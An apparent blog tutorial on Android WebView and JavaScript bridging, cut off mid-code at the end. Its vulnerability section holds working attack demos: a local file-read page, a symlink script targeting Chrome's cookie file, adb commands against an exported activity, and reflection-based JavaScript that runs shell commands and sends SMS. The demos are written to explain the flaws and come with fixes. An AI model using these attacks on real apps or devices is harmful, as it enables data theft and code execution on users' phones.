天天看點

Webview與Javascript

文章目錄

        • 0x01 WebView 概述
        • 0x02 WebView 相關工具類
          • 2.1 WebSettings
          • 2.2 WebViewClient
          • 2.3 WebChromeClient
        • 0x03 WebView 基本使用
        • 0x04 WebView 與 JS 互動
          • 4.1 Native 調用 JS
          • 4.2 JS 調用 Native
          • 4.3 總結
        • 0x05 WebView 漏洞
          • 5.1 密碼明文存儲漏洞
          • 5.2 File域控制不嚴格漏洞【一】
          • 5.3 File域控制不嚴格漏洞【二】
          • 5.4 遠端代碼執行漏洞【一】
          • 5.5 遠端代碼執行漏洞【二】
          • 5.6 遠端代碼執行漏洞【三】
          • 5.7 忽略SSL證書錯誤漏洞
        • 0x06 其他問題
          • 6.1 http/https 混合問題
          • 6.2 WebView OOM影響主程序
          • 6.3 WebView 背景耗電問題
          • 6.4 WebView 記憶體洩漏問題
          • 6.5 WebView 混淆問題
          • 6.6 WebView 閃爍問題
          • 6.7 Video 全屏問題

文章中的所有用例可以在JSDemo中找到

0x01 WebView 概述

WebView 是 Android 的一個控件,用于在應用程式中展示 Web 網頁

Google 的官方解釋為

A View that displays web pages. This class is the basis upon which you can roll your own web browser or simply display some online content within your Activity. It uses the WebKit rendering engine to display web pages and includes methods to navigate forward and backward through a history, zoom in and out, perform text searches and more.

Android 的 WebView 使用 webkit 引擎,Android 4.4(API 19)之後直接使用 Chromium,是以可以支援 HTML5、CSS3 以及 JavaScript

基于 WebView 出現了混合開發,開發的應用也稱為

Hybrid APP

,原生開發一些疊代穩定的頁面及功能,快速疊代的内容則基于 WebView 架構/容器通過 HTML5 展示,好處在于,HTML5 代碼可以輕易實作跨平台,且疊代友善,但是受網絡限制以及可能會存在一些體驗問題(前端頁面代碼渲染,受限于JS的解析效率及裝置硬體性能)

總結來說,WebView 的作用包括:

  1. 展示和渲染網頁;
  2. 混合開發,與頁面的 JavaScript 互動。

0x02 WebView 相關工具類

2.1 WebSettings

對 WebView 的相關配置進行管理,以下為常用接口

// 擷取 WebView 配置對象
WebSettings webSettings = webView.getSettings();
// 允許儲存網頁密碼
webSettings.setSavePassword(true);
// 允許網頁與JS互動【可能導緻嚴重漏洞】
webSettings.setJavaScriptEnabled(true);
// 允許通過JS打開新視窗
webSettings.setJavaScriptCanOpenWindowsAutomatically(true);
// 允許插件
webSettings.setPluginsEnabled(true);
// 允許網頁開啟定位功能
webSettings.setGeolocationEnabled(true);
// 允許本地File域通路
webSettings.setAllowFileAccess(true);
webSettings.setAllowFileAccessFromFileURLs(true);
webSettings.setAllowUniversalAccessFromFileURLs(true);
// 調節螢幕自适應
webSettings.setUseWideViewPort(true);
webSettings.setLoadWithOverviewMode(true);
// 調節允許縮放,但不顯示按鈕
webSettings.setSupportZoom(true);
webSettings.setBuiltInZoomControls(true);
webSettings.setDisplayZoomControls(false);			// 縮放按鈕,部分系統在縮放按鈕消失前退出Activity可能引發應用崩潰,故通常設定為false,或在Activity被銷毀時手動隐藏這個View
webSettings.setTextZoom(20);				// 文本縮放倍數,預設100
// 緩存設定,緩存模式有四種
// 緩存内容會儲存在沙箱目錄下,databases會儲存請求的url記錄,cache則會儲存url内容
webSettings.setCacheMode(WebSettings.LOAD_NO_CACHE);
// 使用DOM或資料庫或檔案建構離線緩存
webSettings.setDomStorageEnabled(true);
webSettings.setDatabaseEnabled(true);
webSettings.setAppCacheEnabled(true);
           
2.2 WebViewClient

處理各種通知、請求事件

webView.setWebViewClient(new WebViewClient() {
  @Override
  // 攔截url請求,進行處理或重定向,傳回true表示已經處理完url,傳回false則将url交還給webview加載
  public boolean shouldOverrideUrlLoading(WebView view, WebResourceRequest request) {
    return super.shouldOverrideUrlLoading(view, request);
  }
  
  // 證書認證錯誤時的回調
  @Override
  public void onReceivedSslError(WebView view, SslErrorHandler handler, SslError error) {
    super.onReceivedSslError(view, handler, error);
  }    
});

// onPageStarted()/onPageFinished():頁面開始加載及加載完成
// shouldInterceptRequest():頁面請求資源
// onLoadResource():頁面加載資源
           
2.3 WebChromeClient

處理JS的對話框、網址圖示、網址标題和加載進度等

webView.setWebChromeClient(new WebChromeClient() {
  @Override
  public boolean onJsAlert(WebView view, String url, String message, JsResult result) {
    // 網頁彈出提示框時回調
    result.cancel();
    // 傳回true表示不彈出系統的提示框,傳回false則彈出
    return true;
  }
  
  @Override
  public boolean onJsConfirm(WebView view, String url, String message, JsResult result) {
    // 網頁彈出确認框時回調,confirm确認,cancel取消
    result.confirm();
    return true;
  }
  
  @Override
  public boolean onJsPrompt(WebView view, String url, String message, String defaultValue, JsPromptResult result) {
    // 網頁彈出輸入框時回調,可以調用confirm傳回内容或cancel取消
    result.confirm("got it!");
    return true;
  }    
});

// onProgressChanged():獲得網頁的加載進度
// onReceivedTitle():擷取網頁标題
// onCreateWindow()/onCloseWindow():打開或關閉視窗
           

0x03 WebView 基本使用

  1. 需要在清單檔案中聲明網絡通路權限
  1. WebView 布局
<WebView
  android:id="@+id/webview"
  android:layout_width="match_parent"
  android:layout_height="match_parent" />
           
  1. 擷取 WebView 控件

也可以在代碼中動态建立,注意使用ApplicationContext,可以避免WebView記憶體洩漏

WebView webView = new WebView(getApplicationContext());
webView.setLayoutParams(new LinearLayout.LayoutParams(ViewGroup.LayoutParams.MATCH_PARENT, ViewGroup.LayoutParams.MATCH_PARENT));
rootView.addView(webView);
           

有文章提到,使用ApplicationContext建立WebView可以避免WebView持有目前Activity的引用,是以也避免了記憶體洩漏的問題,但是同時會導緻第三方應用打開網頁連結異常、彈出Dialog異常、使用Flash異常;

也可以直接使用目前Activity作為Context建立WebView,并将此Activity運作在獨立程序中,參考6.2

  1. 生命周期基本上同 Activity
@Override
protected void onResume() {
  super.onResume();
  // 恢複webview的狀态(不建議)
  webView.resumeTimers();
  // 激活WebView為活躍狀态,能正常執行網頁的加載與響應
  webView.onResume();
}

@Override
protected void onPause() {
  super.onPause();
  // 失去焦點或進入背景時,暫停WebView的所有的解析和執行
  webView.onPause();
  // 暫停全局的WebView,降低CPU功耗(不建議)
  webView.pauseTimers();
}
           
  1. 銷毀WebView時先加載null,接着清除相關資料,然後移除WebView,最後銷毀并置空
@Override
protected void onDestroy() {
  // webView綁定了activity,為避免記憶體洩漏,調用destory時需先從父容器中移除再銷毀
  if (webView != null) {
    webView.loadDataWithBaseURL(null, "", "", "", null);
    webView.clearCache(true);
    webView.clearHistory();
    webView.stopLoading();
    webView.setWebChromeClient(null);
    webView.setWebViewClient(null);
    ((ViewGroup) webView.getParent()).removeView(webView);
    webView.destroy();
    webView = null;
  }
  super.onDestroy();
}
           
  1. 加載網頁或資料通常有以下四個API

loadUrl(String url)

加載頁面,可以為網頁或本地頁面,如

// 加載網頁
webView.loadUrl("https://www.baidu.com");
// 加載應用資源檔案内的檔案
webView.loadUrl("file:///android_asset/javascript.html");
// 加載本地的檔案
webView.loadUrl("content://com.android.htmlfileprovider/sdcard/javascript.html");
           

loadUrl(String url, Map<String, String> additionalHttpHeaders)

與上一個接口類似,第二個參數允許攜帶HTTP頭部

loadData(String data, String mimeType, String encoding)

加載一段代碼,通常為網頁的部分内容,參數分别為内容、類型和編碼方式,如

webView.loadData("<html>\n" +
                "<head>\n" +
                "    <title>網頁demo</title>\n" +
                "</head>\n" +
                "<body>\n" +
                "<h2>\n" +
                "    使用WebView加載網頁代碼\n" +
                "</h2>\n" +
                "</body>\n" +
                "</html>", "text/html", "utf-8");
           

loadDataWithBaseURL(String baseUrl, String data, String mimeType, String encoding, String historyUrl)

與上一個接口相似,相容性更好,适用場景更多,如

String img = "展示CSDN的圖示,通過相對位址通路<img src='/cdn/content-toolbar/csdn-logo.png?v=20200416.1' />";
webView.loadDataWithBaseURL("https://csdnimg.cn", img, "text/html", "utf-8",null);
           
Webview與Javascript

.

Webview與Javascript

使用

loadData()

加載中文資料出現亂碼的問題,一個方案是使用

loadDataWithBaseURL()

方法,另一個方案是mimeType參數傳入

“text/html;charset=UTF-8”

;另外

loadData()

方法資料中的未定義字元

#

%

\

?

需要使用

%23

%25

%27

%3f

代替,但是非法字元的轉換會影響運作速度

  1. 其他一些常用方法
// 頁面的前進與後退
boolean canGoBack = webView.canGoBack();
webView.goBack();
boolean canGoForward = webView.canGoForward();
webView.goForward();

// 點選系統傳回鍵時,會響應為結束目前活動,是以常重寫 onKeyDown 方法實作回退
@Override
public boolean onKeyDown(int keyCode, KeyEvent event) {
  if (keyCode == KeyEvent.KEYCODE_BACK && webView.canGoBack()) {
    webView.goBack();
    return true;
  }
  return super.onKeyDown(keyCode, event);
}

// 頁面的重新整理(會重新加載所有資源)與停止
webView.reload();
webView.stopLoading();

// 清除相關内容
webView.clearCache(true);			// 針對全局清除緩存
webView.clearHistory();				// 清除目前webview的通路記錄
webView.clearFormData();			// 清除自動填充的表單

// 設定監聽,監聽檔案下載下傳
webView.setDownloadListener(new DownloadListener() {
  @Override
  public void onDownloadStart(String url, String userAgent, String contentDisposition, String mimetype, long contentLength) {
    Uri uri = Uri.parse(url);
    Intent intent = new Intent(Intent.ACTION_VIEW, uri);
    startActivity(intent);
  } 
});
           

0x04 WebView 與 JS 互動

Android Native 與 JS 可以通過 JSBridge 互相調用

4.1 Native 調用 JS
  • 通過

    WebView#loadUrl()

    以調用本地JS代碼為例,JS代碼如下,包含一個

    callJS()

    的方法,列印一句調用資訊的彈窗
    <!DOCTYPE html>
    <html>
    <head>
        <meta charset="utf-8">
        <title>Javascript Demo</title>
        This is a html page of javascript demo.
        <script>
            function callJS() {
                alert("Native調用JS的callJS()方法");
            }
            function callJSwithPara(arg) {
                alert("Native調用JS的callJSwithPara(" + arg + ")方法");
                return "success";
            }
        </script>
    </head>
    </html>
               
    将此

    javascript.html

    放在項目

    app/src/main/assets

    目錄下,利用WebView通過file域的url通路
    WebSettings webSettings = webView.getSettings();
    // 允許網頁與JS互動以及通過JS打開新視窗
    webSettings.setJavaScriptEnabled(true);
    webSettings.setJavaScriptCanOpenWindowsAutomatically(true);
    
    // 首先載入JS代碼
    webView.loadUrl("file:///android_asset/javascript.html");
    
    // 設定按鈕點選事件,調用JS
    findViewById(R.id.web_button).setOnClickListener(new View.OnClickListener() {
      @Override
      public void onClick(View v) {
        webView.loadUrl("javascript:callJS()");
      }
    });
    
    // 通過WebChromeClient類處理JS的彈窗事件
    webView.setWebChromeClient(new WebChromeClient() {
      @Override
      public boolean onJsAlert(WebView view, String url, String message, final JsResult result) {
        AlertDialog.Builder builder = new AlertDialog.Builder(context);
        builder.setTitle("JS Alert")
          .setMessage(message)
          .setPositiveButton("确定", new DialogInterface.OnClickListener() {
            @Override
            public void onClick(DialogInterface dialog, int which) {
              result.confirm();
            }
          })
          .setCancelable(false)
          .create().show();
        return true;
      }
    });
               
    注意JS代碼調用必須在頁面結束加載後調用才有效,是以也可以直接在

    onPageFinished()

    回調中調用JS方法
    webView.setWebViewClient(new WebViewClient() {
      @Override
      public void onPageFinished(WebView view, String url) {
        super.onPageFinished(view, url);
        webView.loadUrl("javascript:callJS()");
      }
    });
               
    對于有參數和傳回的JS方法,同樣在

    loadUrl()

    中傳入參數,傳回值會直接顯示在html頁面中
    Webview與Javascript
    Webview與Javascript
  • 通過

    WebView#evaluateJavascript()

    loadUrl()

    調用友善,基本可以滿足大部分需求,但是如果要擷取JS方法的傳回值,則需要使用Android 4.4之後引入的一個新方法

    evaluateJavascript()

    ,此方法使用更簡潔,且因為無需重新整理頁面是以效率更高

    其餘用法基本類似,就是修改調用過程即可

    // 判斷系統版本
    if (Build.VERSION.SDK_INT < Build.VERSION_CODES.KITKAT) {
      webView.loadUrl("javascript:callJSwithPara('hello from native')");
    } else {
      webView.evaluateJavascript("javascript:callJSwithPara('hello from native')", new ValueCallback<String>() {
        @Override
        public void onReceiveValue(String value) {
          Log.d(TAG, "evaluateJavascript value = " + value);
        }
      });
    }
               
    這裡的

    onReceiveValue(String value)

    回調中就會傳入JS的傳回結果,日志為
    2021-03-18 11:45:53.636 2252-2252/com.willing.jsdemo D/WebActivity: evaluateJavascript value = "success"
               
4.2 JS 調用 Native
  • 通過

    WebView#addJavascriptInterface()

    進行對象映射

    首先定義一個與JS對象映射關聯的類,并使用

    @JavascriptInterface

    注解被調用的方法,未注解無法調用
    public class NativeToJS extends Object {
    
        private Context context;
        public NativeToJS(Context context) {
            this.context = context;
        }
    
        @JavascriptInterface
        public void callNative() {
            AlertDialog.Builder builder = new AlertDialog.Builder(context);
            builder.setTitle("Native Alert")
                    .setMessage("JS調用Native的callNative()方法")
                    .setPositiveButton("确定", null)
                    .setCancelable(false)
                    .create().show();
        }
    
        @JavascriptInterface
        public void callNative(String message) {
            AlertDialog.Builder builder = new AlertDialog.Builder(context);
            builder.setTitle("Native Alert")
                    .setMessage("JS調用Native的callNative(" + message + ")方法")
                    .setPositiveButton("确定", null)
                    .setCancelable(false)
                    .create().show();
        }
    }
               
    使用

    addJavascriptInterface()

    方法建立Native類和JS對象之間的關聯

    在JS中設定按鈕的點選事件,并在按鈕觸發的

    callNative()

    callNativeWithPara()

    方法中直接使用映射的對象

    native2JS

    進行Native方法調用
    <!DOCTYPE html>
    <html>
    <head>
        <meta charset="utf-8">
        <title>Javascript Demo</title>
        This is a html page of javascript demo.
        <script>
            function callNative() {
                NativeToJS.callNative();
            }
            function callNativeWithPara() {
                NativeToJS.callNative("hello from JS");
            }
        </script>
    </head>
    <body>
    <br>
    <p id="text1">[Method 1]test callNative:</p>
    <button type="button" id="button1" onclick="callNative()">callNative1</button>
    <br>
    <p id="text2">[Method 2]test callNative(with para):</p>
    <button type="button" id="button2" onclick="callNativeWithPara()">callNative2</button>
    </body>
    
    <style>
        #button1 {
            width: 300px;
            height: 60px;
        }
        #button2 {
            width: 300px;
            height: 60px;
        }
    </style>
    </html>
               
    Webview與Javascript
    Webview與Javascript
    Webview與Javascript
    這種調用簡潔明了,隻要約定好對象映射關系就可以進行對象方法調用,但是可能會導緻嚴重的漏洞問題
  • 通過

    WebViewClient#shouldOverrideUrlLoading()

    回調方法攔截 url

    雙方約定好某個特定的協定,如

    jsbridge://webview...

    ,然後在JS中通路這個url
    <!DOCTYPE html>
    <html>
    <head>
        <meta charset="utf-8">
        <title>Javascript Demo</title>
        This is a html page of javascript demo.
        <script>
            function callNativeByUrl(){
                document.location = "jsbridge://webview?arg=hello form JS by url";
            }
        </script>
    </head>
    <body>
    <p id="text3">[Method 3]test callNative(by url):</p>
    <button type="button" id="button3" onclick="callNativeByUrl()">callNative3</button>
    </body>
    
    <style>
        #button3 {
            width: 300px;
            height: 60px;
        }
    </style>
    </html>
               
    當該JS腳本被WebView加載後,就會觸發

    WebViewClient#shouldOverrideUrlLoading()

    回調,在這個回調中攔截url,并進行解析和後續處理
    webView.setWebViewClient(new WebViewClient() {
      @Override
      public boolean shouldOverrideUrlLoading(WebView view, String url) {
        Uri uri = Uri.parse(url);
        if (uri.getScheme().equals("jsbridge") && uri.getAuthority().equals("webview")) {
          Set<String> keys = uri.getQueryParameterNames();
          for (String key : keys) {
            String content = uri.getQueryParameter(key);
            AlertDialog.Builder builder = new AlertDialog.Builder(context);
            builder.setTitle("Native Alert").
              .setMessage(content)
              .setPositiveButton("确定", new DialogInterface.OnClickListener() {
                @Override
                public void onClick(DialogInterface dialog, int which) {
                  webView.loadUrl("javascript:returnRes(" + "'result'" + ")");
                }
              })
              .setCancelable(false)
              .create().show();
          }
          return true;
        }
        return super.shouldOverrideUrlLoading(webView, url);
      }
    });
               
    注意API 21之後此回調方法原型為

    public boolean shouldOverrideUrlLoading(WebView view, WebResourceRequest request)

    ,解析的方式稍有改變
    @Override
    public boolean shouldOverrideUrlLoading(WebView view, WebResourceRequest request) {
      Log.d(TAG, "url = " + request.getUrl().toString());
      Log.d(TAG, "method = " + request.getMethod());
      Log.d(TAG, "scheme = " + request.getScheme());
      Log.d(TAG, "authority = " + request.getAuthority());
      Log.d(TAG, "host = " + request.getHost());
      Log.d(TAG, "path = " + request.getPath());
      Log.d(TAG, "scheme = " + request.getScheme());
      ......
      return super.shouldOverrideUrlLoading(view, request);
    }
               
    此方法的好處在于不會導緻安全漏洞,但是Native難以将執行後的結果傳回給JS,一般用于無傳回的操作,如打開頁面,傳傳回值則需要額外通過其他的方法調用實作
    // Native調用loadUrl()傳回傳回值
    webView.loadUrl("javascript:returnRes('result')");
    
    // JS的接收傳回值方法
    function returnRes(result) {
      alert("收到Native的傳回值:" + result);
    }
               
    Webview與Javascript
    Webview與Javascript
    Webview與Javascript
  • 通過

    WebChromeClient#onJsAlert()

    WebChromeClient#onJsConfirm()

    WebChromeClient#onJsPrompt()

    回調方法攔截

    alert()

    confirm()

    prompt()

    消息

    首先介紹JS中三個常用的對話框方法:

    • alert()

      彈出警告框,無傳回值
    • confirm()

      彈出确認框,傳回布爾類型确認或取消
    • prompt()

      彈出輸入框,可以傳回任意字元串或null

    WebChromeClient

    類分别針對這三個方法提供了回調函數,是以可以直接在回調函數中對消息進行攔截并解析

    以JS的

    confirm()

    方法為例,我們會使用

    jsbridge://jscomfirm...

    協定,把一句話通過參數的方式傳給Native,并使用

    alert()

    方法彈出傳回的結果
    function confirmCallback() {
      var result = confirm("jsbridge://jsconfirm?arg=this is a confirm from JS");
      alert("confirm方法的傳回結果:" + result);
    }
    function promptCallback() {
      var result = prompt("jsbridge://jsprompt?arg=this is a prompt from JS");
      alert("prompt方法的傳回結果:" + result);
    }
               

    WebChromeClient

    中我們在

    onJsConfirm()

    回調中攔截掉确認框,解析

    confirm()

    方法參數隻展示url中攜帶的參數,然後确認傳回一個布爾類型真值,注意

    confirm()

    方法的參數是通過

    message

    變量傳遞
    @Override
    public boolean onJsConfirm(WebView view, String url, String message, JsResult result) {
      Uri uri = Uri.parse(message);
      if (uri.getScheme().equals("jsbridge") && uri.getAuthority().equals("jsconfirm")) {
        Set<String> keys = uri.getQueryParameterNames();
        for (String key : keys) {
          String content = uri.getQueryParameter(key);
          AlertUtils.show(context, "Native Alert", content, new DialogInterface.OnClickListener() {
            @Override
            public void onClick(DialogInterface dialog, int which) {
              result.confirm();
            }
          });
        }
        return true;
      }
      return super.onJsConfirm(view, url, message, result);
    }
    
    @Override
    public boolean onJsPrompt(WebView view, String url, String message, String defaultValue, final JsPromptResult result) {
      Uri uri = Uri.parse(message);
      if (uri.getScheme().equals("jsbridge") && uri.getAuthority().equals("jsprompt")) {
        Set<String> keys = uri.getQueryParameterNames();
        for (String key : keys) {
          String content = uri.getQueryParameter(key);
          AlertUtils.show(context, "Native Alert", content, new DialogInterface.OnClickListener() {
            @Override
            public void onClick(DialogInterface dialog, int which) {
              result.confirm("Got it!");
            }
          });
        }
        return true;
      }
      return super.onJsPrompt(view, url, message, defaultValue, result);
    }
               
    Webview與Javascript
    Webview與Javascript
    Webview與Javascript
    Webview與Javascript
    Webview與Javascript
4.3 總結
Webview與Javascript

需要注意的是在 API17 版本之後,需要在被調用的地方加上 @addJavascriptInterface 限制注解,因為不加上注解的方法是沒有辦法被調用的

0x05 WebView 漏洞

5.1 密碼明文存儲漏洞

Android 4.3(API 18)以下,WebView 會預設開啟網頁密碼儲存功能,在使用者輸入密碼時會彈出提示框詢問使用者是否儲存密碼,如果選擇是,則會将密碼儲存至沙箱資料庫目錄下的

webview.db

檔案中,裝置被root情況下會導緻敏感資訊洩漏

需顯式通過

WebSettings.setSavePassword(false)

關閉密碼儲存的功能,Android 4.3開始此方法被棄用

5.2 File域控制不嚴格漏洞【一】

WebView 沒有對

file:///

類型 url 進行限制,導緻攻擊者可以結合元件導出等漏洞利用 WebView 通過 file 協定加載外部惡意檔案,進行遠端惡意代碼執行等操作

File域的相關配置API主要是以下三個

// 是否允許 webview 使用 file 協定,預設為true
webView.getSettings().setAllowFileAccess();
// 是否允許通過 file 協定加載的 JS 讀取其他的本地檔案,Android 4.1之前預設true
webView.getSettings().setAllowFileAccessFromFileURLs();
// 是否允許通過 file 協定加載的 JS 通路其他源,包括http/https,Android 4.1之前預設true
// 此設定的允許會覆寫上一個設定的不允許
webView.getSettings().setAllowUniversalAccessFromFileURLs();
           

setAllowFileAccess(true)

開啟File域通路允許 WebView 直接加載本地檔案,包括系統目錄(下圖一)

如果目标應用元件導出,且 Intent 未對傳入的資料進行過濾,攻擊者可以使用 WebView 加載沙箱檔案進行跨程序通路(下圖二)

Intent intent = getIntent();
if (intent != null) {
  Uri uri = intent.getData();
  if (uri != null) {
    url = uri.toString();
  }
}
webView.loadUrl(url);
           
adb shell am start -n com.willing.jsdemo/.MainActivity -d file:///data/data/com.willing.jsdemo/files/secret.txt
           

關閉File域通路則無法通過file協定加載本地檔案(下圖三),原生Chrome浏覽器則預設禁用File域通路(下圖四)

Webview與Javascript
Webview與Javascript
Webview與Javascript
Webview與Javascript

setAllowFileAccessFromFileURLs(true)

允許通過file協定加載的JS讀取其他的本地檔案,構造攻擊腳本

<!DOCTYPE html>
<html>
<head>
    <meta charset="utf-8">
    <title>Attack Demo</title>
    This is a html page of attack demo.
    <script>
    function readFile() {
        var file = "file:///data/data/com.willing.jsdemo/files/secret.txt";
        var xmlHttp = new XMLHttpRequest();
        xmlHttp.onreadystatechange = function() {
            if (xmlHttp.readyState == 4) {
                alert(xmlHttp.responseText);
            }
        }
        xmlHttp.open("GET", file, true);
        xmlHttp.send();
    }
    readFile();
    </script>
</head>
</html>
           

利用導出元件加載腳本

adb shell am start -n com.willing.jsdemo/.MainActivity -d file:///android_asset/attack.html
           

此時攻擊代碼可以成功讀取沙箱檔案的内容(下圖一);若

setAllowFileAccessFromFileURLs(false)

則會觸發錯誤,表示file域的其他檔案通路被禁止(下圖二)

2021-03-18 13:24:27.429 10571-10571/com.willing.jsdemo I/chromium: [INFO:CONSOLE(17)] "Failed to load file:///data/data/com.willing.jsdemo/files/secret.txt: Cross origin requests are only supported for protocol schemes: http, data, chrome, https.", source: file:///android_asset/attack.html (17)
           
Webview與Javascript
Webview與Javascript

setAllowUniversalAccessFromFileURLs(true)

許通過file協定加載的JS通路其他的源,修改攻擊腳本替換通路的url

此時可以成功讀取網頁傳回的内容(下圖一);若

setAllowUniversalAccessFromFileURLs(false)

則會觸發錯誤,表示file域的其他源通路被禁止(下圖二)

2021-03-18 13:27:11.316 11700-11700/com.willing.jsdemo I/chromium: [INFO:CONSOLE(0)] "Failed to load https://www.baidu.com/: No 'Access-Control-Allow-Origin' header is present on the requested resource. Origin 'file://' is therefore not allowed access.", source: file:///android_asset/attack.html (0)
           
Webview與Javascript
Webview與Javascript
5.3 File域控制不嚴格漏洞【二】

即使将

setAllowFileAccessFromFileURLs()

setAllowUniversalAccessFromFileURLs()

兩個接口均設定為false,事實上Android 4.1之後也預設是禁止,将

setAllowFileAccess()

設定為true,且設定

setJavaScriptEnabled()

允許JS互動,仍可以通過符号連結跨源攻擊通路其他本地檔案

原理為利用JS腳本的延時執行,将待通路的檔案替換為待攻擊檔案的軟連結,具體步驟為:首先在應用沙箱目錄下構造惡意的JS腳本且修改目錄權限,然後休眠1s待檔案操作完成後,喚起系統Chrome浏覽器打開此腳本,并休眠4s待腳本加載完成,再删除此腳本,并使用

ln -s

指令為Chrome的Cookie檔案建立軟連結并連結到已加載的腳本檔案,是以可以通過符号連結通路Chrome的Cookie(實際測試發現Chrome直接禁用了file協定,是以漏洞無法複現)

public final static String MY_PKG = "com.willing.jsdemo";
public final static String MY_TMP_DIR = "/data/data/" + MY_PKG + "/tmp/";
public final static String HTML_PATH = MY_TMP_DIR + "malicious.html";
public final static String TARGET_PKG = "com.android.chrome";
public final static String TARGET_FILE_PATH = "/data/data/" + TARGET_PKG + "/app_chrome/Default/Cookies";
public final static String HTML = 
  "<body>\n" +
  "<u>Wait a few seconds.</u>\n" +
  "<script>\n" +
  "    var doc = document;\n" +
  "    function readFile() {\n" +
  "        var xmlHttp = new XMLHttpRequest();\n" +
  "        xmlHttp.onload = function() {\n" +
  "            var res = xmlHttp.responseText;\n" +
  "            alert(res);\n" +
  "            doc.body.appendChild(doc.createTextNode(res));\n" +
  "        }\n" +
  "        xmlHttp.open(\"GET\", doc.URL, true);\n" +
  "        xmlHttp.send();\n" +
  "\n" +
  "    }\n" +
  "    setTimeout(readFile, 8000);\n" +
  "</script>\n" +
  "</body>";

public void attack() {
  try {
    // Create a malicious HTML
    exec("mkdir " + MY_TMP_DIR);
    exec("echo \"" + HTML + "\" > " + HTML_PATH);
    exec("chmod -R 777 " + MY_TMP_DIR);
    Thread.sleep(1000);

    // Force Chrome to load the malicious HTML
    invokeChrome("file://" + HTML_PATH);
    Thread.sleep(4000);

    // Replace the HTML with a symlink to Chrome's Cookie file
    exec("rm " + HTML_PATH);
    exec("ln -s " + TARGET_FILE_PATH + " " + HTML_PATH);
  } catch (Exception e) {
    e.printStackTrace();
  }
}

public void exec(String cmd) {
  try {
    String[] tmp = new String[]{"/system/bin/sh", "-c", cmd};
    Runtime.getRuntime().exec(tmp);
  } catch (Exception e) {
    e.printStackTrace();
  }
}

public void invokeChrome(String url) {
  Intent intent = new Intent(Intent.ACTION_VIEW, Uri.parse(url));
  intent.setClassName(TARGET_PKG, TARGET_PKG + ".Main");
  startActivity(intent);
}
           

修複建議是不需要使用file協定時禁用所有與之相關的功能(不影響assets/resources資源檔案的加載)

webView.getSettings().setAllowFileAccess(false);
webView.getSettings().setAllowFileAccessFromFileURLs(false);
webView.getSettings().setAllowUniversalAccessFromFileURLs(false);
           

若必須使用 file 協定,則禁用 file 協定的 JavaScript 功能

if("file".equals(Uri.parse(url).getScheme())) {
  webView.getSettings().setJavaScriptEnabled(false);
} else {
  webView.getSettings().setJavaScriptEnabled(true);
}
webView.loadUrl(url);
           
5.4 遠端代碼執行漏洞【一】

參考CVE-2012-6636和CVE-2013-4710

WebView通過

addJavascriptInterface()

方法進行Native類和JS對象之間的映射,此時JS可以通過這個關聯的對象通路此對象的所有方法,甚至通過反射機制調用系統類,進而執行任意代碼

當存在此漏洞時,攻擊者可以構造惡意的JS代碼并誘騙使用者使用掃描二維碼的方式打開外部頁面執行攻擊腳本,攻擊代碼首先周遊window對象,找到包含

getClass()

方法的對象,即與Native類建立關聯的對象,擷取目前類後使用

forName()

方法反射加載系統類

java.lang.Runtime

并執行本地指令

function execute(args) {
  for(var obj in window) {
    if("getClass" in window[obj]) {
      alert(obj);
      return window[obj].getClass().forName("java.lang.Runtime").getMethod("getRuntime", null).invoke(null, null).execute(args);
      // 或者調用 SmsManager 發送短信
      var smsManager = window[obj].getClass().forName("android.telephony.SmsManager").getMethod("getDefault", null).invoke(null, null);
      smsManager.sendTextMessage("10086", null, "this is a message from JS", null, null);
    }
  }
}

function getContents(inputStream) {
  var i = 1;
  var result = "" + i;  
  var len = inputStream.read();
  while(len != -1) {
    var data = String.fromCharCode(len);
    result += data;
    result += "\n"
    len = inputStream.read();
  }
  i = i + 1; 
  return result;
}

var res = execute(["/system/bin/sh", "-c", "ls -al /sdcard"]); 
alert(res);
document.write(getContents(res.getInputStream()));
           

Google規定,Android 4.2(API 17)及之後的版本必須使用

@JavascriptInterface

注解被調用的函數來避免此漏洞

5.5 遠端代碼執行漏洞【二】

參考CVE-2014-1939

Android 4.4以前的版本,使用webkit核心,其預設使用

addJavascriptInterface

接口建立

SearchBoxImpl

類對象(位于

java/android/webkit/BrowserFrame.java

),即暴露了

searchBoxJavaBridge_

對象,導緻攻擊者可以利用該漏洞執行遠端代碼攻擊

需顯式通過

removeJavascriptInterface();

方法進行對象移除

5.6 遠端代碼執行漏洞【三】

參考CVE-2014-7224

類似上一個,Android 4.4以前的版本,系統開啟輔助服務時會預設為輔助服務類加入JS對象,分别為

accessibility

accessibilityTraversal

(位于

android/webkit/AccessibilityInjector.java

),存在遠端代碼執行攻擊,需手動移除

5.7 忽略SSL證書錯誤漏洞

使用

WebViewClient#onReceivedSslError()

回調時直接調用

handler.proceed()

忽略錯誤繼續執行導緻接受不了所有證書

不要重寫

WebViewClient#onReceivedSslError()

方法,或對SSL證書采用

handler.cancel()

停止加載問題頁面(預設方法)

0x06 其他問題

6.1 http/https 混合問題

Android 5.0開始WebView預設不允許加載http/https的混合内容

可以通過

WebSettings#setMixedContentMode()

設定參數

MIXED_CONTENT_COMPATIBILITY_MODE

為相容模式

6.2 WebView OOM影響主程序

WebView預設運作在主程序中,當加載過大的資源時,可能導緻OOM影響主程序

可以将WebView所在的Activity運作于獨立程序中,為相應的Activity設定process屬性,且結束時

System.exit(0)

直接退出目前程序,注意可能帶來程序間通信問題

<activity
    android:name=".WebActivity"
    android:process=":web">
    <intent-filter>
        <action android:name=".Mainctivity"/>
        <category android:name="android.intent.category.DEFAULT"/>
    </intent-filter>
</activity>
           
6.3 WebView 背景耗電問題

WebView加載的網頁中可能包含JS動畫類,如果WebView進入背景時資源不被釋放,則會一直在占用CPU消耗電量

onStop()

onResume()

中設定

setJavaScriptEnabled()

為fasle和true

6.4 WebView 記憶體洩漏問題

在xml中定義WebView則系統将直接使用目前Activity作為Context執行個體化建立WebView對象,此時WebView會持有Activity的引用,若WebView銷毀時

避免在xml中直接定義WebView,最好能動态建立WebView,且安全銷毀,參考WebView基本使用

6.5 WebView 混淆問題

使用proguard混淆java層代碼後可能導緻javascript不可用

修改

proguard-rules.pro

配置

-keepattributes *Annotation* 
-keepattributes *JavascriptInterface*
-keep public class org.mq.study.webview.DemoJavaScriptInterface{
    public <methods>;
}
-keep public class org.mq.study.webview.webview.DemoJavaScriptInterface$InnerClass{
    public <methods>;
}
           
6.6 WebView 閃爍問題

關閉WebView的硬體加速功能

6.7 Video 全屏問題

WebChromeClient#onShowCustomView()

方法中設定視訊的播放視圖全屏

@Override
public void onShowCustomView(View view, CustomViewCallback callback) {
  if (view instanceof FrameLayout && fullScreenView != null) {
    this.videoViewContainer = (FrameLayout) view;
    this.videoViewCallback = callback;
